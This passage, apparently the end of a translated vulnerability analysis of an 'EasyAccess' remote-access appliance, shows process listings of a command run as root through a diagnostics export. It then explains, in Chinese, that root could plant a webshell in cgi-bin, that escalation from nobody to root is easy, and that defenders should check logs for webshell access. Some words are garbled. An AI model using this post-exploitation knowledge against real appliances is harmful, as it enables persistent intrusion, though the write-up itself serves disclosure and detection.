nobody   24259  0.0  0.7  44288 29776 ?    	S	08:58   0:01 /usr/src/EasyAccess/bin/httpd
nobody   27511  0.0  0.7  44340 30128 ?    	S	09:42   0:01 /usr/src/EasyAccess/bin/httpd
nobody   30092  0.0  0.2  25772 12200 ?    	t	03:01   0:00 /usr/src/EasyAccess/bin/httpd
nobody   30331  1.1  0.7  44284 29316 ?    	S	10:20   0:00 /usr/src/EasyAccess/bin/httpd
nobody   30382  0.0  0.2  25700 11904 ?    	S	10:20   0:00 /usr/src/EasyAccess/bin/httpd
nobody   30391  0.0  0.2  25568  8788 ?    	S	10:20   0:00 /usr/src/EasyAccess/bin/httpd
nobody   30392  0.0  0.2  25568  8788 ?    	S	10:20   0:00 /usr/src/EasyAccess/bin/httpd
nobody   30394  0.0  0.2  25568  8788 ?    	S	10:20   0:00 /usr/src/EasyAccess/bin/httpd
nobody   30395  0.0  0.2  25568  8788 ?    	S	10:20   0:00 /usr/src/EasyAccess/bin/httpd
nobody   30396  0.0  0.2  25700 11908 ?    	S	10:20   0:00 /usr/src/EasyAccess/bin/httpd
nobody   30397  0.0  0.2  25568  8788 ?    	S	10:20   0:00 /usr/src/EasyAccess/bin/httpd
root 	30465  2.0  0.1  13776  4612 ?    	S	10:21   0:00 /usr/src/EasyAccess/www/spog/exportDiagnostics
root 	30599  0.0  0.0   3480  1420 ?    	S	10:21   0:00 sh -c ps awux>>/tmp/status.txt 2>&1
root 	30600  0.0  0.0   2556   880 ?    	R	10:21   0:00 ps awux

最后，重要的是要注意root用户对 Web 服务器的 cgi-bin 目录 ( /usr/src/EasyAccess/www/cgi-bin/)具有写入权限，这可以让他们将 webshel??l 上传到系统。如前所述，通过nobody用户升级到 root非常简单。因此，审查对http_request.logwebshel??l 的潜在访问可能是有益的。但是，修改cgi-bin不会在重新启动之间持续存在（尽管重新启动的系统在利用后是否值得信赖是另一回事）。

原创声明：本文系作者授权腾讯云开发者社区发表，未经许可，不得转载。

如有侵权，请联系 cloudcommunity@tencent.com 删除。

安全